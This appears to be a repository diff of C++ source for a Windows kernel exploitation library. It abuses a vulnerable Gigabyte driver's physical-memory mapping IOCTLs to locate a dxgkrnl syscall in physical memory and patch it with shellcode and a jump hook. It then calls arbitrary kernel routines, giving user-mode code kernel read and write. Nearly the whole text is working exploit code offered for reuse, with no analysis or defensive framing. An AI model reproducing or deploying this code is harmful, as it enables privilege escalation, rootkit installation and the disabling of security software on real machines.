UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
{
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
return false;
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(out_buffer[0], buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
}

@ -0,0 +1,93 @@
#include "vdm_ctx.h"
namespace vdm
{
vdm_ctx::vdm_ctx()
{
// already found the syscall's physical page...
if (vdm::syscall_address.load())
return;
LoadLibraryA("user32.dll"); // required for win32u.dll...
vdm::dxgkrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryExA("drivers\\dxgkrnl.sys", NULL,
DONT_RESOLVE_DLL_REFERENCES));
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_kmodule_export(
"dxgkrnl.sys",
syscall_hook.first,
true
));
vdm::nt_page_offset = nt_rva % PAGE_4KB;
// for each physical memory range, make a thread to search it
std::vector<std::thread> search_threads;
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&vdm_ctx::locate_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{
const auto page_data =
reinterpret_cast<std::uint8_t*>(
VirtualAlloc(
nullptr,
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
for (auto page = 0u; page < length; page += PAGE_4KB)
{
if (vdm::syscall_address.load())
break;
if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
if (!memcmp(page_data + nt_page_offset, dxgkrnl_buffer + nt_rva, 32))
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
syscall_address.store(
reinterpret_cast<void*>(
address + page + nt_page_offset));
}
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
}
bool vdm_ctx::valid_syscall(void* syscall_addr) const
{
static std::mutex syscall_mutex;
syscall_mutex.lock();
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
// 0: 48 31 c0 xor rax, rax
// 3 : c3 ret
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}
}

@ -0,0 +1,113 @@
#pragma once
#include <windows.h>
#include <string_view>
#include <vector>
#include <thread>
#include <atomic>
#include <mutex>
#include "../vdm/vdm.hpp"
namespace vdm
{
// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtGdiDdDDICreateContext", "win32u.dll" };
inline std::atomic<bool> is_page_found = false;
inline std::atomic<void*> syscall_address = nullptr;
inline std::uint16_t nt_page_offset;
inline std::uint32_t nt_rva;
inline std::uint8_t* dxgkrnl_buffer;
class vdm_ctx
{
public:
vdm_ctx();
template <class T, class ... Ts>
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
static std::mutex syscall_mutex;
syscall_mutex.lock();
// jmp [rip+0x0]
std::uint8_t jmp_code[] =
{
0xff, 0x25, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00
};
std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast<void**>(jmp_code + 6) = addr;
vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook...
vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast<T>(proc)(args ...);
vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result;
}
template <class T>
__forceinline auto rkm(std::uintptr_t addr) -> T
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
T buffer;
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T);
return buffer;
}
template <class T>
__forceinline void wkm(std::uintptr_t addr, const T& value)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, (void*)addr, &value, sizeof T);
}
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
{
static const auto ntoskrnl_get_virtual =
util::get_kmodule_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical");
return this->syscall<MmGetVirtualForPhysical>(
ntoskrnl_get_virtual, addr);
}
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
{
static const auto ps_lookup_peproc =
util::get_kmodule_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId");
PEPROCESS peproc = nullptr;
this->syscall<PsLookupProcessByProcessId>(
ps_lookup_peproc,
(HANDLE)pid,
&peproc
);
return peproc;
}
private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const;
};
}

Binary file not shown.
Loading…
Cancel
Save